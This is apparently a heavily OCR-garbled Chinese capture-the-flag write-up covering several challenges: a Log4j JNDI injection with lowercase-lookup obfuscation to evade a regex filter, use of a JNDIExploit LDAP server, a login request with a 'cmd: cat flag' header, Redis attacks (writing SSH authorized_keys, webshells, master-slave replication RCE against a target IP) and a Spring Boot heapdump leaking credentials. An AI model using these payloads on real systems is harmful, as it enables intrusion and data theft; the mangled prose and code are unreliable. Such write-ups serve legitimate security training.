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REMIE— Fexp:
${jndi:1ldap://xx.xx.xx.Xx:Xx/}

KIREISHEE R, U admin/admin B3, REFEFREM, FHEMERLE T KRBT, 232 REARATIEN

& jndi A 1dap KEF.,
BE THEHE I, B R FEEER, WarEIEIEas R iEEE:
/* loaded from: SecurityFilter.class */

public class SecurityFilter implements Filter {
private static final Pattern pattern = Pattern.compile{:"i

\\{jndi:}|(ldap:)|(rmiz)"); ]

public woid init(FilterConfig filterConfig) throws ServletException {
1
I

public woid doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

Enumeration<String> paramNamesEnum = servletRequest.getParameterNames();
while (paramNamesEnum.hasMoreElements()) {
String paramVal = servletRequest.getParameter(paramNamesEnum.nextElement());
if (paramVal != null && !paramVal.isEmpty() && pattern.matcher(paramval).find()) {

servletResponse.getiWriter().write("Illegal parameter value");
return;

2k T/ E AT S IR ) S8, K lower case Bl ] 581 :
${${lower:jIndi:${lower:1}dap://xx.xx.xX.xx/}
vpsittldapMhttp i 45 -

root@VM-lG-lG-ubuntu:~/pretest/JNDIExploit vl.11#
root@VM-16-16-ubuntu:~/pretest/INDIExploit v1.11# java -jar JNDIExploit-vl.ll.jar -i
[+] LDAP Server Start Listening on 1389...

[+] HTTP Server Start Listening on 8080...

L

Bi AT & 3flag:

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /doLogin HITP/1.1

Host: 47.102.135. 31:32110

User-Agent: Mozilla/5.0 (Findows NT 10.0; Winé4; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, */*;q=0. 8
Accept-Language: zh-Cl, zh; g=0. 8, zh-TV;¢=0. 7, zh-HK  4=0. 5, en-US; ¢=0. 3, en; ¢=0. 2
Content-Type: application/z-www-form-urlencoded

Content-Length: 91

Origin: http://47. 102. 135. 31: 32110

Commection: close

Referer: http://47.102. 135, 31:32110/10gin. html

Cookie: JSESSIONID=9TASTDF 164D9AD6 1EDOF IEOTSF 740944

Upgrade-Insecure-Requests: 1

cmd: cat flag

username=$ {3 {Lower: j}ndi:§ {lower:1} dap:// +1389/ T }&password=admin

Be-a-Database-Hacker
XIE @A EdockerfileXtfF, FTPABHICL T JLA:
1. KK IE R —redisfks, HRAS1H74.0.14

2. flag XX AFIRAE /tmp/flag. txt
3. redisiR% £ LhredisF P B3, EldEroothl /-

FROM redis:4.0.14
COPY flag.txt /tmp/flag.txt

RUN chown redis:redis /tmp/flag.txt

T

HITF/1.1 200

Date: Sat, 22 Jan 2022 03:36:20 GHT
Comnection: close

Content-Length: 120

rwetf {ddbabs! 22280623048}

rwetf {ddbdbf 12280623048}

rwets {ddbdl 2280623008}
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i#idredis-clientr] L E B IIER, FFiEredisKIARZRTH, EEAHMATHKER.
redisHIARFAT FIIEH, ®RAMAT AU TIUM, XEL8E—T:

1. 53 %ES

dbfilename root

R E YA E F dir BRI, B AredisiR$ 2 LLIErootF B EI, BRAE .
2. 5sshA ¥

config dir /root/.ssh

config dbfilename authorized_keys

[ B8 SO AT i E R R AN

:38751> config set dir /root/.ssh/
ERR Changing directory: Permission denied

3. Ewebshell

M AEwWebRS, LERSwebshell .

4. £ \E

BiEHRBENER], BETRedisFENEHIKHLE], 7T LLETFULLRESYNCHRAT E LA R B N F A

BT —TH®AE, fEReids4.xZ )5, RedisHiil T HEHIIEE, B MHRE, 7 LALIAERedisH LI — M Redistiz 4, @it
CiEE mIFFMBB RN . soXH, ERRBIATHER.

RIhgetshell.

dm

--rport 30078 --lhost --lport 21002

@copyright néb0dy @ r3kapig

info] TARGET 47.102.124.80:30878
info] SERVER
info] Setting master...

I

[
[
[
[info] Setting dbfilename. ..

the Secrets of Memory

BEBRE XM, BEmysqlik K2 LR Rag:

spring.datasource.url=jdbc:mysql://127.0.0.1:3306/flag?useUnicode=true&characterEncoding=utf-8
spring.datasource.username=the_datasource_password_is flag

spring.datasource.password=this_is flag



18 3 5L T A B =& Spring BootR. A, #%ifactuatorfic B A L HIUETH, BTRARINVI i /actuator TTH, X8 AKX G HKEE G T # &
T, ®ED.

RIGEE T /actuator/heapdump #12, 153 GZip K4 hprof Y fil S04 .

RWHES T TRIT S, HEfag:

’:F @ jove. long String#25774 : Sccket listen failed: [[0}] [[1}]
’_'F © jave. lang. Strins228311 : ¢ bi
’_‘F O jevs. leng StrinsH24875 : L
’_‘F © jzve. leng Strins=24797 : R
’_'F @ jeve. lang. StrinsS28753 - U
’_‘F Q jave. lans. Strins226144 - U
’_‘F O jevs. leng StrinsH#26867 : I
’_'F © jgve. lsns. String229147 ;. 7
’_'F © javs. lang. String220793 : U
EF O jsvs. lsng. Strins=26879 : L
D_'F @ jeve. lans. String21899 : v
H‘ U jsve. lans. Strins*23349 ;. F
I'-F @ jeve. leng. String220587 : ¢
FF 2 jeve. lang. Strinsg226817 - ¢
FF Q@ jeva. lang. Strinsg®26250 - E
[l @ Gowe lare QrineSORMA - Uemnee Band 01
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VM, R—AGitlabMyi, BEEEM, [HMRFRAE.

FROM gitlab/gitlab-ce:13.10.1-ce.®
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